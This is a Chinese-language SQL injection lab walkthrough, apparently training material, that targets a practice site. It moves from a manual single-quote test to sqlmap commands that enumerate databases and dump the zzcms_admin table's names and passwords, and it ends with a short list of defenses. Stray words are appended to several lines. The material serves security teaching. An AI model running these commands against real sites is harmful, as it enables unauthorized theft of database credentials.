實驗指導說明
實驗環境
• 實驗環境
o 操做機:Windows XP
o 目標機:Windows 2003
o 目標網址:www.test.ichunqiu
• 實驗工具:
Tools Path
SQLMap C:\Tools\注入工具\SQLMap
本節課程經過對SQL注入的演示,讓你們瞭解SQL注入漏洞的方式,並學習應對此種漏洞的防護方法。
實驗步驟
第一步 手工檢測判斷注入點
首先打開目標站點www.test.ichunqiu找注入點,打開文章中心隨便點一篇文章,頁面地址爲http://www.test.ichunqiu/Art_Show.php?id=2,首先在id=2後面加一個單引號來判斷這是不是一個注入點,返回了一個錯誤提示更新點擊數出現錯誤!。
小i提示:
• 能夠看見url裏有一個id=2,能夠根據這個判斷他是由get請求進行提交的,由於經過get請求提交的,提交的數據會在url裏進行體現,而這個也是咱們能夠利用的地方。
• 這裏出現了一個錯誤提示,更新點擊數出現錯誤,這樣說明咱們輸入的and 1=1 和and 1=2在數據庫內執行了,由於and 1=1這條查詢語句就永爲真,它就會繼續執行,and 1=2 這條語句就爲假,查詢語句沒法繼續執行,就會返回錯誤,這樣咱們就能夠初步判斷這個url地址是一個注入點。php
快速查找實驗工具
• 打開桌面 Everything 搜索工具,輸入實驗工具名稱,右擊選擇「打開路徑」,跳轉實驗工具所在位置。
• 以查找BURP爲例爲你們演示。python
第二步 利用sqlmap對注入點進行注入
將注入點放到sqlmap裏進行進一步的判斷,打開桌面上的sqlmap。
python sqlmap.py –u "http://www.test.ichunqiu/Art_Show.php?id=2"
返回信息提示這是一個注入點而且返回對方系統的信息,系統是windows,Web容器是apache2.4.9版本,語言php5.2.17版本,目標數據庫是mysql5.0.11版本。mysql
第三步 獲取數據庫內信息
使用如下命令進行注入測試,獲取數據庫內全部數據庫的名稱,返回信息目標數據庫內有四個數據庫:mys mysql test information_schema。
Python sqlmap.py –u "http://www.test.ichunqiu/Art_Show.php?id=2" --dbssql
使用如下命令查看網站所依賴的數據庫的名稱,返回信息依賴的數據庫爲mys。
Python sqlmap.py –u "http://www.test.ichunqiu/Art_Show.php?id=2" --current–db數據庫
使用如下命令獲取mys數據庫內表信息。
Python sqlmap.py –u "http://www.test.ichunqiu/Art_Show.php?id=2" -D mys --tablesapache
mys數據庫下一共有十四個表,使用命令獲取zzcms_admin表內列的信息。
Python sqlmap.py –u "http://www.test.ichunqiu/Art_Show.php?id=2" -D mys -T zzcms_admin --columnswindows
使用如下命令對這name和password兩個列進行查詢並獲取KEY。
Python sqlmap.py –u "http://www.test.ichunqiu/Art_Show.php?id=2" -D mys -T zzcms_admin –C name,password --dump安全
第四步 防護方案
1.普通用戶與系統管理員的權限要有嚴格的區分
2.強迫使用參數化語句
3.增強對用戶輸入的驗證
4.多使用數據庫自帶的安全參數
5.使用專業的漏洞掃描工具來尋找可能被攻擊的點工具